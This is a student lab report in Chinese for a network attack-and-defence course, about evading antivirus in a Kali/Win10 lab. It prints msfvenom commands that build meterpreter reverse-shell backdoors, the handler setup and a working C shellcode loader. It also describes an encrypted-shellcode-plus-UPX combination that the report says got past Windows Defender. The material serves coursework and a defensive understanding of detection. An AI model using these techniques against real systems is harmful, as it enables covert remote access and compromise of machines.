20242425 2026-2027-1 《网络与系统攻防技术》实验三实验报告
20242425 2026-2027-1 《网络与系统攻防技术》实验三实验报告
1. 基础知识
免杀即绕过杀毒软件检测。杀软一般依靠特征码匹配、启发式扫描、动态行为检测三层机制识别恶意程序。 msfvenom 用于生成攻击载荷 shellcode,自带编码器(shikata_ga_nai 最常用),对 shellcode 编码变形改变原始特征;Veil-Evasion 把加密后的 shellcode 嵌入自定义加载器,运行时内存解密执行;C+shellcode 是手写 C 加载代码,自主分配内存、拷贝 shellcode 并执行;加壳工具(UPX 等)修改 PE 文件结构,压缩或加密程序,改变文件指纹。 单靠一种免杀手段容易被识别,通常组合编码、加密、自定义加载、加壳等方式提高绕过概率。
- (1)杀软如何检测恶意代码:①特征码检测,比对文件字节、哈希与病毒特征库;②启发式扫描,分析 PE 结构、可疑 API 组合、高熵值等静态特征;③动态行为 / 沙箱检测,监控进程内存申请、进程注入、异常外联、修改系统文件等运行行为,并做内存扫描。
- (2)免杀是做什么:通过编码、加密、自定义加载、加壳等技术修改恶意代码,改变其特征,规避杀软静态与动态检测,让程序能在开启杀软的主机上正常运行并完成预定功能。
- (3)免杀基本方法:shellcode 编码 / 加密、自定义语言(C/Go)编写加载器、加壳(压缩壳、加密壳)、分离 shellcode 与加载器、修改通信方式、延迟执行规避沙箱等。
2. 实验内容
- 使用 msfvenom 与 shikata_ga_nai 编码器,分别生成 exe、jar 格式载荷,对比直接生成与编码后的查杀效果。
- 使用 Veil-Evasion 生成免杀后门,理解加密加载器原理。
- 提取 shellcode,编写 C 语言加载程序,编译为 exe。
- 使用 UPX 对生成的 exe 加壳,尝试组合技术实现免杀。
- 在开启 Windows Defender 的 Win10 虚拟机上测试,验证程序运行、meterpreter 回连是否成功,记录杀软版本并截图。
- 分析组合免杀原理,比较不同方式优缺点。
3. 实验过程
环境:Kali + Win10 虚拟机互通。测试时开启 Windows Defender 实时防护
3.1 msfvenom 编码器使用
- 查看编码器列表:msfvenom --list encoders
- 多次编码生成反弹 tcp 后门:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b '\x00' LHOST=192.168.x.x LPORT=4444 -f exe > msf_20242425.exe
- 生成 jar 载荷:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.x.x LPORT=4444 -f jar > backdoor_20242425.jar
- 开启 msf 监听:
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.x.x
set LPORT 4444
run
- 把 exe 放入开启 Defender 的 Win10 测试:直接生成的裸 exe 被立刻查杀;多次编码后的样本检出率下降,但多数仍被拦截。
Kali 这边 python3 http 显示下载成功的日志;

Win10 桌面上 msf_20242425.exe 还在,但双击无响应;

Kali 这边 handler 一直在监听,但没有收到有效会话。

msfvenom 基础编码 payload 下载至 Win10 靶机后,未被前台删除,但双击无响应,未建立 Meterpreter 会话。说明仅依靠 shikata_ga_nai 编码器进行多次编码,难以绕过 Microsoft Defender 的实时防护。
3.2 Veil-Evasion 使用
- 安装并进入:sudo apt install veil、veil


- 选择 Evasion(use 1),list 查看载荷,选用c/meterpreter/rev_tcp,设置 LHOST/LPORT 后 generate。

- 生成的 exe 位于/var/lib/veil/output/compiled/。原理:shellcode 被加密,exe 主体是 C 加载器,磁盘上无明文 shellcode,运行时内存解密执行。放入开启 Defender 的 Win10 测试。


3.3 C + shellcode 编程
- 输出 c 格式 shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.x.x LPORT=4444 -f c

- 编写加载 c 代码,粘贴 buf 数组:
#include <windows.h>
unsigned char buf[] = "这里粘贴msf输出的shellcode";
int main()
{
void *exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, buf, sizeof(buf));
DWORD oldprotect;
VirtualProtect(exec, sizeof(buf), PAGE_EXECUTE_READ, &oldprotect);
((void(*)())exec)();
return 0;
}
- kali 下交叉编译:i686-w64-mingw32-gcc loader_20242425.c -o loader_20242425.exe
- 测试:内嵌明文 shellcode,Defender 很容易静态识别。

3.4 UPX 加壳
upx loader_20242425.exe -o loader_upx_20242425.exe
UPX 是压缩壳,改变 PE 结构,部分旧杀软可绕过;现代 Defender 对 UPX 特征识别强,单独加壳效果有限。

3.5 组合免杀方案
方案:msf 编码 shellcode + 异或加密 shellcode,shellcode 单独存 bin 文件,C 加载器运行时读取 bin、解密、分配内存执行,最后 UPX 加壳。
免杀原理:磁盘 exe 只有加载逻辑,无明文 shellcode;shellcode 存为加密 bin 文件,静态扫描匹配不到 meterpreter 特征;解密仅在内存发生,降低静态检出;加壳进一步修改 PE 指纹。 将组合生成的final_20242425.exe放入开启 Windows Defender的 Win10 虚拟机,双击运行,Kali 端 handler 成功收到 meterpreter 回连会话。
【Win10 Defender 实时防护开启界面】

【msf handler 收到 meterpreter 会话界面】

【回连成功后执行命令验证】

4. 问题及解决方案
- 问题 1:msfvenom 生成的 exe 一拷贝进 Win10 就被 Defender 直接删除。
- 解决方案:裸 exe 明文 shellcode 特征极强,不能直接使用;改用 Veil 或手写 C 加载并加密 shellcode,不直接内嵌明文载荷。
- 问题 2:Veil 生成文件被 SmartScreen 拦截无法打开。
- 解决方案:SmartScreen 是信誉机制而非病毒查杀,选择 "仍要运行" 放行,放行后再观察 Defender 是否查杀。
- 问题 3:C 语言编译后运行闪退,没有回连。
- 解决方案:确认 IP、端口与 handler 一致;检查 shellcode 位数,32 位载荷用 i686 交叉编译器;VirtualProtect 权限参数写错会直接崩溃。
- 问题 4:UPX 加壳后检出率反而变高。
- 解决方案:Windows Defender 对 UPX 壳特征识别成熟,单独加壳效果差,需配合 shellcode 加密、分离存储等组合使用。
5. 学习感悟、思考等
本次实验让我分清静态查杀与动态行为查杀的区别,理解没有永久免杀,免杀是和杀毒软件持续对抗的过程。早期只靠 msf 编码器、UPX 加壳的思路已很难绕过现代 Defender,核心思路是让磁盘文件不直接出现明文 shellcode,把解密、执行逻辑放到内存中。 实验踩了很多坑:直接使用 msf 裸样本完全无法落地,Veil 被 SmartScreen 拦截,手写 C 加载器因 API 参数问题闪退。我意识到免杀不是背命令,而是理解杀软每一层检测逻辑,针对性规避。 同时也加深了防御意识:免杀技术是一把双刃剑,学习它为了理解攻击手段,从而更好地搭建防御体系。沙箱监控、内存扫描、行为基线都可以检测这类内存加载型恶意代码。

浙公网安备 33010602011771号